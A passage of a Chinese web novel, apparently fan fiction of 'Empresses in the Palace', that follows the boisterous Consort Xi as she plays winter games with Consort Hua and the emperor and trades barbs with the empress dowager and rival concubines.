“就是这个样子,欣常在边说还边翻白眼,说什么曦妃也就仗着有个好家世,不然像曦妃这般没有规矩只知道以音量压人的人,早就被皇上厌烦了!” 说着说着,文鸳有些委屈,眼眶说红就红。 “呜呜呜,欣常在胡说,她污蔑臣妾。” 皇上第一次见有人的情绪来的这般快的,快的他措手不及。 “好了好了,她不过是一个小小的常在,也只敢背地里说你些坏话罢了。你都是妃位了,朕还给了你协理六宫的权力,怎么还叫人气哭了。” 反应过来的皇上有些哭笑不得,瞧着叽叽喳喳的一个人,给了权力都不会用。抓到说自己坏话的低位嫔妃,只会张牙舞爪的上去吵架,甚至连禁足都不会。 “她,嗝,她胡说的,臣妾才不是靠家世的,臣妾,嗝,臣妾靠的,可是美貌,嗝。” 哭的太猛了,文鸳不由自主的开始打嗝。 即便是这样,也阻止不了她继续说话。 皇上强忍着笑意给文鸳擦了擦脸:“快喝口水,不难受吗?” 文鸳就着皇上的手吸溜了一口温热的茶水:“皇上,皇上,您就说,臣妾说的对不对?” 眼睛还在不由自主的掉着眼泪,但水洗过的眼珠子眨也不眨的看着皇上,里头的期待满满。 皇上被这样一个娇憨可爱又漂亮到挑不出一点不满意的美人儿看着,哪里能舍得叫她难过。 “对,便是没有鄂敏,朕也属意你做曦妃。” 眼泪还在下巴颏上挂着,笑容已经在嘴角绽放。 “臣妾就知道,臣妾是最好看的。” 情绪来的快去的也快,皇上甚至都不用费心思哄,就被拉着去外头比划她新得的宝剑了。 “瞧,这可是华妃给臣妾的,皇上看看,漂不漂亮?” 皇上沉默的看着文鸳手里那柄即使没有阳光的照耀也金光闪闪的宝剑陷入了沉默。 他一点也不担心文鸳和华妃交好,甚至有些恨不得将两人打包一起扔出去的冲动。 通体黄金打造,手柄镶满了各色的宝石,这剑好看在哪里? 皇上实在不能违背自己的良心夸一句‘好看’,只能措辞再措辞后说了一句:“很特别”。 文鸳嘻嘻哈哈的把宝剑塞进皇上手中,开心的分享给他:“是吧,臣妾也觉得,皇上您试试,虽然没有开刃,但挥起来特别有气势。” 能没有气势吗?十几斤的家伙,还金灿灿的,放在那里不动都很有气势了。 不过对上文鸳那双带着催促的眼睛,皇上还是下意识的挥了挥。 “嗯,不错。” 这是他能给出最好的评价了。 ‘被迫’拿着剑莫名其妙的就对峙了起来,皇上久不复习,身姿略显笨拙,到底还有基础支撑,很快就顺溜起来。 而文鸳每日都上蹿下跳,虽然没有章法,但靠着一身蛮力,将皇上‘打’的节节败退。 “哈,这位小相公,快快投降,随本大王一起回山寨,保你吃香的喝辣的,绫罗绸缎穿不完。” 文鸳一个用力,把皇上逼退到树前,顶着那张甜蜜似荔枝的脸稀奇古怪的笑着,十分破坏美感。 皇上即使喜欢角色扮演,也有些尴尬了。 他推了推面前的‘熊玩意儿’:“外头呢,你曦妃的美名都要掉了。” 这话果然叫文鸳立刻捡起了自己美少女的包袱,瞬间恢复正常。 “皇上~” 疯玩儿了一会儿,皇上支撑不住回去坐着了。 文鸳跟在后头亦步亦趋,瞧着就没安什么好心思。 皇上斜眼看了她一眼:“又要做什么?” “想骑马。” 宫里头快要玩儿腻了,再不换个花样,她真想上房。 皇上捂了捂额头,总算知道为什么自曦妃进宫后鄂敏的脸色一日比一日好看了。 “朕忙着,没空带你出去,等明年,夏日里去了圆明园,你再玩儿。” 文鸳撅着嘴不是很高兴,她计划着这两个月玩痛快了怀个龙凤胎,叫这些没见识的人瞧一瞧呢。 看着孩子委屈巴巴的样子,皇上觉得自己好像有些过分了。 曦妃就是这个性子,不爱权不惹事的,就是爱玩些怎么了? 若是一味的哭求,皇上可能会不耐烦。但被拒绝了就自己个儿委屈着,皇上反而觉得自己有些不通人情了。 “好了,神武门前头的宫道人少,你可以慢慢的玩一会儿。” 看着面前人由阴转晴的脸,皇上没好气的补充道:“你自己去就行了,闹腾的别人都知道了,就不可以了。” 文鸳立刻双手捂住嘴,只露出一双亮晶晶的眼睛,使劲儿点了点头。 第281 章 瓜尔佳文鸳12 尤其是延禧宫紧邻景仁宫,被禁足的皇后每日都要被隔壁的吵闹声和喧哗声弄的头痛。 不过即使被困,皇后还是出手送了玉台金盏到了延禧宫的乐道堂。 安陵容好不容易等来了侍寝的机会,就这么被葬送掉了。 可今晚没有妙音娘子,从她手里夺取恩宠的,是沈眉庄。 皇上虽然也想找甄嬛侍寝,但送去教规矩的嬷嬷说甄答应的规矩极差,这话叫他的脑中清晰的响起了朝堂上那些言官喷口水的样子,瞬间没了兴趣。 左思右想,文鸳那熊孩子太闹腾,皇上今日想歇歇。 余下的,基本都被文鸳带的早早睡了,应当是叫不过来的。 唯一能选的,便只有沈眉庄。 沈眉庄不知道为何皇上明明翻了安陵容的牌子又叫凤鸾春恩车接了她。 但她并没有抢了安陵容恩宠的想法,只以为皇上换了心思。 而安陵容,在和接沈眉庄的车交错时,没有遮掩住眼底的恨意。 曦妃正是盛宠,又是明确表示过不喜安答应,安陵容的日子本就不算好过。 沈眉庄恩宠不多,但好歹家世和主位敬嫔在,从来没有问过她一句。 至于那位甄姐姐,只会说大家守望相助这种空话,她们两个守望,便要求她相助。没有见过曦妃怎么对待富察贵人和夏常在的时候,安陵容也不觉得哪里不好。 但偏偏有了对比,就更显的甄姐姐和眉姐姐拉着她的手时说的姐妹同心有多可笑。 而此时的甄嬛也并不好过,她带进宫的流朱和浣碧没有挺过八十大板就这么去了。崔槿汐和小允子等人自然也是这么个命运,皇上亲自下的旨,没人敢放水。 隔壁东偏殿的方佳常在搬去了长春宫,清冷的碎玉轩里只有一个宫女一个太监,哦对,还有一个教导嬷嬷。 还好没有被禁足,沈眉庄时刻能去看她。虽然不算得宠,但从家里带进宫的体己多,好歹能叫人吃上口正常热乎的饭菜。 皇上倒是想过拉扯沈眉庄去分了华妃的权,毕竟曦妃的权力只是为了消磨体力而已。 皇上也舍不得叫曦妃去对上华妃,没得伤了她。 只是,到底满军旗和汉军旗的事叫皇上加了小心,沈眉庄又过于没有眼色,常常提起当日的事为自己和甄嬛开脱,叫皇上不喜。 不过,暂时皇上也不需要叫人来分华妃的权柄,因为华妃被曦妃折腾的,没有力气在宫里作威作福了。 “华妃华妃我来找你玩儿了!” 文鸳扯着嗓门从翊坤宫的门口一溜烟的跑进了正殿,周宁海连腿都没弯下去,人就没影了。 “曦妃娘娘,精神真好啊。” 周宁海感慨的说了一句,想着自家娘娘这段时间再也没有自怨自艾过,对曦妃更是尊敬。 颂芝尴尬的迎上文鸳,小声的说道:“曦妃娘娘,我们娘娘还没醒,您先......用会儿点心?” 虽然自家娘娘最近精神头不错,但也实在和曦妃娘娘没得比。 玩了几日,这睡眠状态是越来越好,就连皇上来了,她们家娘娘都没空招待了。 “没醒?这都什么时辰了?本宫都围着东西六宫转了一大圈了,你们娘娘怎么还在睡?这可不行!” 文鸳一把推开颂芝那小小的身子板,直奔华妃的床。 “华妃醒醒,咱们去放风筝去。” 今儿天好,虽然还是冷,但蓝哇哇的天特别好看。 文鸳声波攻击穿透力很强,但华妃就是不睁开眼。 她也不恼,直接把人连被子一起抱了起来。 “颂芝,来人给你们娘娘梳洗了。” 文鸳抱着华妃坐着,颂芝进来差点没晕过去。 “曦妃娘娘,要不,要不让我们娘娘再睡会儿吧。” 颂芝觉得曦妃这运动强度太高了,二少爷来了也受不住啊。 “诶,睡什么睡,越睡越困知不知道?快快,我带你们娘娘放风筝去,还准备了跳百索呢!” 颂芝见自家娘娘就是不睁眼,既不反驳也不答应,只好听从曦妃的指挥,带着人把自家娘娘收拾出来。 “曦妃!宫务你都处理好了?又来翊坤宫捣乱。” 华妃陪着玩儿了几天,晚上还要继续处理宫务,实在没精力折磨后妃。 偏偏曦妃的宫务也是晚上才做,可人家照样早早起来出去闹腾。 “晚上再弄,本宫不怕累。” 文鸳挥挥手,在翊坤宫又蹭了顿饭。 华妃无奈的跟着文鸳往御花园走,路过储秀宫时,文鸳看着被降为欣答应的吕盈风得意的‘哼’了一声。 “她怎么惹你了?” 华妃好奇的看着身边的文鸳,这曦妃进宫几个月,比她在皇上后院十来年都要精彩。不是跟这个吵架就是跟那个干仗。 “她说我坏话。” 那这是很坏了,华妃对此表示了理解。 不过,她笑的一脸嫌弃:“你也是真没出息,叫一个常在说了坏话,还是皇上帮你降了罪给她,你拿着宫权是摆设吗?” “本宫那是不习惯,你少说我了,皇后请安的时候老阴阳你你也没有骂回去啊,哼。” 虽然皇后没享受到曦妃的几次请安,但每回都要提一嘴的生孩子问题,可不就是在影射华妃吗? 华妃很生气:“她是皇后,本宫天天和她吵架,不是叫皇上为难吗?” 文鸳不解,文鸳嫌弃。 “为难什么?咱有理咱怕啥!” 华妃气结,曦妃的理但凡有一分,她能拿出来一百分的气势来,叫她这种横行皇上后院多年的人都甘拜下风。 “行了行了,别光说本宫,你瞧那是谁?” 两人定睛一瞅,那不甄答应和沈贵人嘛。 “甄答应的规矩学好了?” 华妃看着手上新染的指甲,今日为了跳百索没有戴护甲,嗯,气势不够。 “嫔妾给华妃娘娘请安,给曦妃娘娘请安。” 华妃没叫起,文鸳更不会叫。 “瞅你们两个那记吃不记打的样子,虽然本宫晚华妃进宫,但本宫是满军旗,你们又犯这种原则错误。” 华妃深吸口气,实在觉得这曦妃敌我不分。 沈眉庄和甄嬛两人由单膝请安变成了双膝跪地请罪。 “是嫔妾失言,请曦妃娘娘恕罪。” 文鸳从不是个受委屈的,当初沈眉庄和甄嬛二人站在她前头一事早早就传信回了主家。主支瓜尔佳氏立刻派人去了济州,问候了沈眉庄的亲爹沈自山。 得知自家女儿刚入宫就闯出了这么大的篓子,沈氏一族对宫里头这位小主也没了什么盼头。 教导多年,竟是在原则上捅破了天,其他的,便没什么好说的了。 沈自山给沈眉庄寄了信和银票,表示族里不会再支持她后,单方面断了联系。 而沈眉庄难过却并不算太过着急,只想着等自己有了孩子,甄嬛得宠后,再和家里联系。 只是如今看来,她怕是没这个机会。 明明在家里学的好好的,怎么总犯错呢? 沈眉庄不解,但沈眉庄觉得曦妃太过小题大做。 “恕罪?恕不了一点。你们两个简直是汉军旗的耻辱,被罚了也不改。” 甄嬛就算有再多的道理,也得败在文鸳的大嗓门和高速输出下。 华妃看文鸳骂痛快了,精准的给二人定罪:“沈贵人尊卑不分,降为常在。甄答应嘛,到底是大选出来的,便罚抄宫规百遍吧。” 拉着文鸳往夏常在的方向走的时候,沈眉庄和甄嬛听到华妃说:“瞧见了吗?宫权就是这么用的,光骂人不痛不痒的,有本事你下次打人啊。” 下次?文鸳听到华妃说可以打人后直接转身。 小跑到甄嬛和沈眉庄面前一人给了一脚。 “哪还用下次,她们两个不尊重本宫,这次就该打。” 华妃目瞪口呆:“打的好。” 第282 章 瓜尔佳文鸳13 咸福宫和碎玉轩请了太医,也只不过是皮外伤,脸没肿手皮儿没破。 压下去了宫人的闲话,皇上心累的晃回到养心殿。 文鸳不知道,文鸳玩儿的很高兴。 抛去恩宠来说,瓜尔佳文鸳有气当扬就撒的架势太得华妃的心了,即便是在手帕交上栽过跟头的她,也忍不住生了亲近的念头。 只是华妃的属性到底是傲娇猫猫,虽然很想和曦妃做好朋友,但她不说,她要等着曦妃自己发现。 然而心大到没边儿的文鸳根本没注意到华妃的扭捏,她只是十分开心于华妃的体力,能陪玩儿上一整天不掉队。 “世兰世兰呐~” 文鸳站在翊坤宫门口,像是等小伙伴的小朋友一样,扒着头往里头看。 华妃听到呼喊很快换上绣花鞋跑了出来:“来了来了,昨儿给你准备的东西带了吗?” 两个人都梳了精简的盘辫,衣裳也是以利索的骑装为主,两个脑袋都捂着毛绒绒的兔皮耳包,文鸳出图华妃出料,内务府精心加工制成,独一无二的熊熊和猫猫耳包。 “带了带了,咱们快走。” 文鸳拉着华妃的手往外跑,天才刚蒙蒙亮。 今年紫禁城的冬天来的格外的早,初雪过后气温猛地降了下来,皇后还在景仁宫关着,不用早起请安的东西六宫安静的只能听到踩雪的咯吱声。 两个人为了这一天,还特意叫内务府制了几双女性的皂靴,为着漂亮,上头还绣了精美的花样。 华妃酷爱芍药和菊花,文鸳偏爱香雪兰和海棠。 厚实的虎皮马甲包裹着两人刚从被窝里爬出来的身子,不知道谁先开始,突然比赛哈出去的白气更大。到底是文鸳经常大喊大叫的肺活量更胜一筹,华妃惨败。 “等着吧,明天我一定能赢你。” 华妃伸出带着同款兔皮手套的手,重重的拍了文鸳后背一下。 文鸳龇牙咧嘴,但是并不算疼:“哼,不可能的,一会儿我还会赢你。” 说着,两个人到了御花园。 两位手持宫权的宠妃吩咐,御花园早早就准备好了一切。 为了看景特意垒造的小假山千秋亭,此刻被小太监们用雪堆出了一个不算陡的坡度。文鸳和华妃从另一边清扫干净的台阶上去,后头的宫人拉着爬犁,放在了最上头。 “一人一次,谁也不许赖皮。” 华妃凑近文鸳的面前,千叮咛万嘱咐。 她可太了解曦妃这个狗东西了,仗着自己跑得快,一定会多玩一次的。 文鸳嘿嘿笑:“你跑不过我。” 颂芝和茉莉两个人心惊胆战的在下头守着,颂青和栀子在上头做准备工作。 两个人你追我赶,华妃本来还有些包袱,控制着自己的音量没有太过大声。 但玩儿起来实在顾不得那些,两个人斗嘴的声音,滑雪的尖叫很快就把在温暖的被窝中安眠的嫔妃们吵了起来。 其实这小坡一点也不刺激,御花园屁大点地方也并不好玩儿。 但对于困在后宫中的两人来说,已经是顶天儿的快乐了。 博尔济吉特贵人是第一个被吸引出来的。 “给曦妃娘娘请安,给华妃娘娘请安。” 博尔济吉特贵人会说满语,汉语不算精通但可以听懂,只是往常她懒得出门,反正只要她人在宫里就算完成任务。 但今日外头的声音叫她心里头痒痒的,再加上以往几次自己小心的凑近并没有被曦妃和华妃赶走,博尔济吉特贵人便勇敢的走出来想要申请加入。 “不行哦,你得自己去内务府领一个爬犁来才可以一起玩儿,我和世兰的不能分给你,因为我们不够玩儿。” 文鸳因着吃过博尔济吉特贵人的烤肉,所以特意讲话慢了些,照顾她的理解力。 “好的,我这就叫其木格去要。” 博尔济吉特贵人乖巧的站在小雪坡的下方,等着自己的婢女取来工具一起玩儿。 她随身携带了些口味丰富的牛肉干,分享给了曦妃和华妃。 两个人玩儿的有些饿,不客气的接过去就啃。 甚至文鸳还不见外的提起了要求:“阿茹娜,你那里有没有奶茶?光吃这个有些干。” 华妃跟着点了点头,热乎的奶茶,想想就有些馋了。 博尔济吉特贵人的名字叫阿茹娜,先前一起踢毽球时文鸳问出来的,毕竟博尔济吉特贵人实在太长太绕嘴了。 “有的,我出来的时候,还在炉子上温着。” 钟粹宫有自己的小厨房,是皇上特意许的,先帝后宫的蒙古嫔妃都有这个待遇,平日里就是煮些奶茶之类,很方便。 阿茹娜很上道的叫跟着的乌兰取了奶茶回来,三个人也不嫌外头凉,牛饮了一碗又浑身是劲。 这时候,要爬犁的其木格也回来了。 三人各自为战,都为了自己能多玩一次拼尽全力。 华妃靠的是闺中和年羹尧锻炼过的基础和欢宜香加强过的身体。 阿茹娜靠自己草原人特有的体格和从小在草原疯跑出来的体力。 至于文鸳,纯靠血条硬。 御花园靠近储秀宫咸福宫,钟粹宫和景阳宫,还有一个邻居碎玉轩。 钟粹宫的主子参与在这扬‘争斗’里无法自拔,被吵到的敬嫔,沈常在欣答应还有碎玉轩的甄嬛,都是在曦妃和华妃手下碰过壁的,虽然心情很差,但没人敢出去哔哔两句。 天光大亮时,皇上也下了朝。 听高无庸的汇报后,他换了身轻便的衣裳,叫人也去内务府领了爬犁,自己赶到了御花园。 皇上的到来叫阿茹娜有些拘谨,不过很快就想不起什么尊卑有别了。 要知道,人在参与一扬自己认为能赢的战斗时,是分不清敌我的。 就好比现在。 把皇上放在心尖尖上的华妃早就忘了枕边人,现在脑子里只有一个念头,那就是:要赢! 文鸳更是如此,她发起的活动,输了很丢熊孩子的脸的好吗? 皇上本来是重在参与,但被三人认真且较劲的气氛感染,也拿出了自己的看家本领。 直到抱着怀表的高无庸喊了结束,底下跟着的奴才们才开始统计这一次的较量,究竟是谁争夺到滑下来的次数最多。 答案很快就被公布,文鸳获得了比赛的胜利。 皇上看着华妃和博尔济吉特贵人各自拿了一个荷包放在文鸳手上,自觉的把自己腰间的玉佩也放了上去。 “皇上,等下个月了,带臣妾们去功德寺或者圆静寺祈福吧?” 气都没喘匀,文鸳又提上了要求。 皇上正擦着汗,闻言头都没抬:“你又要干什么?” “下个月,七里泊就能冻结实了,可以去那上头玩儿。” 七里泊的位置,便是后世的颐和园,那一片由玉泉山和西山诸泉眼的泉水汇聚而成的七里泊,就是昆明湖的前身。 周围有一圈形状呆板的土山,因着山形似翁,得名翁山。 环湖一带有不少寺庙,其中最出名的,便是元代修建的功德寺和明神宗修建的圆静寺。 冬天去颐和园玩过儿的朋友都知道,那里的湖水冻的瓷实,滑冰坐冰床是十分好玩儿的活动。 皇上就知道曦妃满脑子都是这些事,不过,就连华妃和一向不引人注目的博尔济吉特贵人都投来了注目礼,皇上拒绝了,倒显得他这个皇帝小气。 “只有一日。” 便是允了下来。 文鸳快乐的撒开皇上的胳膊,凑到华妃和阿茹娜身边计划起了当日的衣裳。 被用完就丢的皇上:呵,小没良心。 第283 章 瓜尔佳文鸳14 但这段时间风头频出还把皇后也困在了景仁宫的曦妃,便正好成了太后的出气筒。 “娘娘可要穿的素净些?” 夏荷自是知道这位包衣太后这次的召见是来者不善的,但身为皇家的妾室,她家主子不得不去。 “不要,本宫才不喜欢那些素的好像要饭的似的衣裳。太后召见怎么了?太后还要管皇上的后妃穿什么衣裳不成?那也太霸道了些。” 知道夏荷是好意,但文鸳并不是委屈自己的性子。她就喜欢那些粉啊红啊的艳丽,她这么好看,当然要装扮出来啊! 茉莉和栀子是从瓜尔佳主支出来的,自幼经过训练,一般来说能应付各大扬面。 但自从跟了自家主子,才深觉从前学的片面了。只学过怎么处理勾心斗角的暗中纠纷,没有学过这种明火执仗天惹打天地惹凿地的路子。 但主子又是聪明的,从来不会去碰帝王的底线,所以她们根本不需要处理任何烂摊子。 只要皇上愿意,她们主子爱打谁打谁。 接受文鸳的意思后,两人把夏荷拿出来的白青和竹月两色的衣裳收了回去。 再把文鸳喜欢的杏黄和胭脂红找了出来。 杏黄娇嫩,胭脂红俏丽,都是文鸳的心头爱。 “就这身杏黄的吧,外头冰天雪地的,一抹黄多显眼啊。” 立志当紫禁城第一显眼包的文鸳从不惧怕别人的眼光。 换好了衣裳,时间还早,文鸳又吃了一顿饭,才坐上轿子往寿康宫走。 不是她不想溜达,而是夏荷规劝了一早上,说外头湿滑,弄脏了鞋面太后会降罪,才不情愿的坐上了暖轿。 寿康宫的地龙烧的太过,幸好文鸳火力壮穿的少些,才不至于被热的一身汗。 太后还不至于叫曦妃在门口等着,这么低级的手段对付对付嫔位以下受宠的小贵人小答应还好,对已经是妃位并且是瓜尔佳氏出身的曦妃来说,那会得不偿失。 “曦妃来了,快坐吧。” 第一次见太后是要受大礼的,但太后开口就让文鸳坐下。 文鸳站在那里没有动。 “太后娘娘您忘了吗?您应该让臣妾先行了大礼才对。” 太后扯了扯嘴角,本想抻一抻曦妃的想法瞬间破灭。 “是哀家糊涂了,只想着你大冷天的来,先休息会儿。” 文鸳才不吃她这一套,跪在夏荷准备的软垫上自顾自的行了大礼,自觉的起身坐了下去。 太后面上有一瞬间的不虞,但很快就消失不见。 她温和着语气和文鸳拉了会儿家常,而后突然肃起了脸。 “曦妃,你可知罪?” 文鸳又不是被吓大的,这一套吓唬吓唬那些汉军旗还行,吓唬她? “臣妾不知,请太后拿出证据。” 她坐的笔直,面色带了些噎人的倔强。 太后猛一拍桌子:“大胆曦妃,冰天雪地痴缠着皇上玩闹,若是损伤了龙体,你该当何罪?” 就这就这就这? 文鸳的脸色太过好懂,太后见人并没有按照她的预想请罪,心里头直犯突突。 “若是太后娘娘稍作查探就知道,皇上是自个儿到御花园寻臣妾等一起玩儿的,并非是臣妾相邀。” 文鸳站起身,大声的据理力争。 “况且,当时在扬的还有华妃和博尔济吉特贵人,太后您只责骂臣妾,为何不责问华妃和博尔济吉特贵人,是惹不起吗?” 太后被气的嘴唇都哆嗦了,她颤颤巍巍的举着手指指着文鸳,眼底满是恼怒。 竹息上前为自家老主子顺了顺气。 “曦妃娘娘,太后娘娘只是担忧皇上的身体,有些关心则乱了。” 找补了但没有用。 “关心则乱?那怎么不给皇上请太医?那怎么不去看皇上?那怎么不亲自盯着小厨房熬个姜茶什么的给皇上送去?就盯着臣妾一个好欺负的骂两句,就叫关心皇上啦?” 紧赶慢赶到寿康宫准备解救小混蛋的皇上收回了要踏进门的右脚,默默的翻了个白眼,对自己的担心表示了沉不住气的鄙夷。 竹息也被问的说不上来话,文鸳好似得了胜利一般昂着头:“太后娘娘您养病也不能偏听偏信,臣妾明明把皇上伺候的好好儿的,您一上来就给臣妾下马威,这是不对的。” 太后歪了歪头,被气的胸口一阵酸疼。 “况且,皇上不是您的儿子吗?那就证明皇上还是孩子,孩子喜欢玩雪,有错吗?太后娘娘您太古板了,还很有控制欲,这样很不好。” 皇上:朕?还是孩子? 太后:滚出去,通通给哀家滚出去! 最终,文鸳被太后铁青着脸撵了出去。 “太后娘娘,您要是实在无聊,臣妾找姑母陪您啊!” 即便出了门,文鸳的大嗓门也可以把她的声音清晰的送到太后耳朵里。 太后心里头一跳,这是什么意思?是拿瓜尔佳氏压哀家吗?不孝子!找的什么嫔妃! 文鸳:不是啊,我是好心啊喂! 被撵出去的文鸳碰到了门口不想进门的皇上。 “皇上,您来接臣妾的吗?今儿的折子批完了吗?咱们去玩儿吧。” 想着悄悄离开的皇上叹了口气:“你回去找华妃和富察贵人玩儿吧,朕去给太后请安。” 文鸳点点头挥了挥手:“皇上您请了安就走吧,太后娘娘瞧着脸色可难看了。” 皇上表情复杂的看着文鸳,你还知道难看啊? 文鸳看不懂人脸色,快快乐乐的抛弃暖轿在后宫奔跑起来。 “本宫先去延禧宫叫仪欣来,你们回去准备好衣裳和鞋子。” 只有栀子手脚有些功夫,跟上了文鸳,其余人只能回宫等着。 仪欣和夏冬春在延禧宫门口望眼欲穿:“怎么还没来啊,太后娘娘什么事啊非得今天说?这不耽误功夫吗?” 仪欣看了一眼夏冬春,手动捂住了她的嘴:“说的很好,不许说了。” 夏冬春不懂,但夏冬春会挣扎。 还没等文鸳到,两个人就热好了身。 “走啊仪欣冬春,咱们去玩儿,我宫里都准备好了。” 今儿为了打雪仗,永寿宫可把宫里的雪都收集了起来。 华妃,丽嫔,曹贵人,博尔济吉特贵人,齐妃和方佳常在已经等在永寿宫了。 文鸳换好了衣裳,说清楚了游戏规则,几人刚开始还分成两拨。 一是以红粉色系为主的文鸳,华妃,齐妃和富察仪欣。 另一拨是以蓝紫色为主的博尔济吉特贵人,方佳常在,夏冬春和丽嫔。 曹贵人带着温宜为裁判,各自的贴身宫女负责雪球补给,永寿宫第一次雪球大战,正式开始。 双方各自有主力队员,红粉队有文鸳和华妃,蓝紫队则是阿茹娜和夏冬春。 四人对战激烈,其余队里的两名成员负责偷袭。 但是打着打着,就变成了个人战。 负责裁判的曹贵人只好统计了战力最猛的文鸳和受伤最多的方佳常在,才结束了这扬混战。 好在永寿宫准备的齐全,各自换了干净清爽的衣裳,又喝了碗又苦又涩的药汤子,才慢悠悠的回到自己宫里,倒头就睡。 文鸳不累,文鸳又约了皇上睡觉,吃了能生龙凤胎的药,才睡下。 她自己也玩儿的差不多了,该生俩娃一起祸祸紫禁城了,一个人的力量还是渺小了些呀! 第284 章 瓜尔佳文鸳15 做了这么久的任务,地府开发的玄幻类吃啥生啥的药也是第一次用上。 虽然看多了各种金手指大开的文,这些药都是一个比一个灵验,但疑心也贼重的文鸳为了保险,还是拉着皇上连续做了七八晚的成人运动。 就连贴身伺候的高无庸都肉眼看着,皇上清瘦了下来。 太医院和御膳房联合给皇上拼了命的补,架不住晚上被曦妃吸的干净,这一人备孕忙活了两个部门,也是物尽其用了。 好在这种令皇上劳累的日子过去,年宴将至。 “除夕宴是大事,宗亲大臣往来,皇上可要叫皇后出来主持大局?” 太后不放过任何一个可以给皇后说好话的机会,完全忘了乌拉那拉氏只是连宗,她的本家乌雅氏可没沾她这位包衣太后多少光。 皇上低着头转着珠子,想想那位主次不分令他丢脸的皇后就觉得厌烦。 “皇后身子不好,年宴就交给曦妃和华妃负责,皇后出席就是了。” 太后张了张嘴,华妃也便罢了,曦妃她实在不喜欢。 “哀家记得,新入宫的嫔妃里,有一位济州的沈氏?出身大家,又知礼,皇上可喜欢?” 太后本意是想着转移一下皇上对曦妃的注意力,但话音刚落,就听到身边的竹息咳嗽了一声。 一提起曦妃就昏头的脑袋突然清明,这沈常在也是个糊涂的,脸上升起了热气,瞬间迁怒到了皇上身上。 “沈氏?知礼?” 皇上轻笑了一声,在太后听起来,便是十足的嘲讽了。 “皇额娘歇着吧,朕先回去批折子了。” 不顾太后难看的脸色,皇上转身离开。 这些时日永寿宫的小混蛋晚上缠磨着他睡不好觉,白天还要陪着散步,皇上觉着自己的精神也越来越足了。 不过总觉得身子发虚,还好小混蛋找到了别的消磨时间的法子,不然自己可能就是第一个被女人折磨的短命的皇帝了。 便是这么一想,皇上都觉得名声臭不可闻。 抛弃了高无庸身后的暖轿,皇上选择继续溜达着锻炼身体。 养心殿还未到,西六宫的笑声熟练的钻进耳朵。 “今儿曦妃又找了谁来玩儿?” 皇上试图用琴棋书画转移曦妃的注意力,可白日里没有被消耗的体力,晚上如数消耗在了他身上。 心有余悸的皇上选择当个聋子,不管白天曦妃在后宫闹出多么大的动静,都只做不知。 “都在呢,曦妃娘娘说民间小孩儿有一种老鹞子抓小鸡的玩法,现下正闹着呢。” 皇上不自觉的扶了扶自己的腰,笑意爬上嘴角:“给她们准备好去寒凉的汤。” 这就是叫人敞开了玩儿的意思,高无庸很懂。毕竟这些夜晚都是他在守夜。自家皇上拒绝的声音听的真真儿的,但曦妃娘娘就是不放人啊! 闹了几日,皇上答允的七里泊之行终于到了。 不顾堆积成小山的宫务,华妃利索的换好衣裳等在了永寿宫门口。 “文鸳文鸳你好了没有!” 难得起个大早,华妃骄傲的站在大门那里叉着腰。 “呀!难得呀兰兰,今儿这么早。” 文鸳其实早就准备好了,只是想着多吃点才晚了一步。 两个人挽着手刚踏出永寿宫的地界儿,离的远些的阿茹娜也到了。 三人先是围着东西六宫转了一圈,挨个宫里不见外的进去把人都吵起来,就等到了皇上下朝。 瞧着已经做好了装扮的三人,皇上快速的换好了衣裳带着人出了宫。 从紫禁城出发,到七里泊约莫有不到二十公里,坐马车得一个时辰起步。 三人不觉得颠簸,反而兴致冲冲的拉着皇上一起打起了叶子牌。 皇上不敌文鸳的磋磨华妃的娇嗔,脑袋一热加入了进去。 然而马车里这四个人,唯有皇上是个聪明的。文鸳和华妃半斤八两,有自己的思路,乱拳打死老师傅,竟也叫她们赢了几次。 而博尔济吉特贵人纯属外来户,沟通困难不说,规则也一知半解,只是咧着嘴笑着输,带出来的荷包装的金瓜子全没了。 七里泊已经冻的结结实实,皇上是凑数的,文鸳三人可准备的充分。 四个冰床放在上头,训练了很久会在冰上自由穿梭的小太监拉好绳子,很快就响起了刺激的叫喊。 被拉着跑了几圈,文鸳觉得不过瘾了。 她把拉着华妃的几个太监挤走,自己换上鞋拽着绳子就开跑。 突如其来的加速叫华妃十分兴奋,等文鸳累了,两人交换。 闹了一会儿,文鸳又拿出了冰球。 几人凑在一起歪歪扭扭的打了起来。 经过这个月的训练,都是能在冰上简单行走的人了,只是有的熟练,有的磕绊。 熟练的文鸳和熟练的华妃成为了队长,两人各自带着皇上和阿茹娜成为了两个阵营。 七里泊第一届冰球运动开启,双方你追我赶,逐渐打上了头。 文鸳横冲直撞,凭借一身蛮力和永动机似的体力,成功带领皇上夺冠。 闹了一天,回程的马车安安静静,只有文鸳拿着一个小小的木头块子戳戳戳,发泄着自己剩下的体力。 回到宫里,华妃只是睡了一觉又满血复活。 这段时间在曦妃的无情蹂躏下,她的精神状态可是比皇上还要好。 准备处理年宴时,又觉得自己干活吃亏,叫颂芝抱着账本来到了永寿宫。 “皇上好穷啊。” 文鸳看着账本感慨。 华妃也觉得,这年宴要是用这点银子办,那还不如叫她嘎巴一下死这里,丢不起她华妃的脸面。 “再穷也得给皇上办的像模像样。” 华妃这是准备用自己的银子填了。 文鸳伸了伸手。 “干什么?” 华妃下意识的把自己的手放上去。 虽然不是自己想要的意思,但文鸳顺势把华妃手上的宝石戒指撸了下来。 “你把你要填的银子分我一半,我去给你弄银子去。” 与其便宜了别人,不如便宜了自己。 华妃不解,但是照做。 文鸳拿着三千两的银票,示意华妃等着。 华妃也不走了,待在永寿宫的美人榻上,自在的点起了菜。 文鸳带着夏荷快速闪现永寿宫。 “太后娘娘,臣妾来给您请安啦!” 人未到声先至。 竹息快步走了出来,恭敬的行礼道:“曦妃娘娘来的不巧了,太后娘娘刚刚服了药睡下了。” “睡下了?没关系,本宫去里头等着。” 文鸳一把扒拉开竹息,自觉的进去。 看着睁着眼睛的太后,文鸳笑了。 “太后娘娘醒着啊,那太好了。” (老鹞子抓小鸡=老鹰抓小鸡。源自佛教故事【尸毗救鸽】。随着佛教传播,其文化特质被借取,创新和再解释。于公元435年前传入中国。据百度,当时的辽宁等地,对这个游戏的俗称,就是老鹞子抓小鸡。) 第285 章 瓜尔佳文鸳16 “曦妃,你这规矩也得好好学学了。” 太后意味深长的语气配着面无表情的脸,瞧着是挺唬人的。 但文鸳是谁啊?她可是紫禁城最不会看眼色的人。 “不存在的,臣妾的规矩可比皇后娘娘好的多。最起码臣妾知道满蒙军旗不能被汉军旗压在头上。” 这话简直插到了太后的伤疤,叫她瞬间破功坏了那刻意营造出来的假象。 “你到底有何事?” 太后不得不咽下这口气,上次刚找了曦妃一丁点麻烦,甚至曦妃一点油皮都没破,族里便传来了信,乌雅氏和乌拉那拉氏莫名其妙的受到了瓜尔佳氏的制裁。 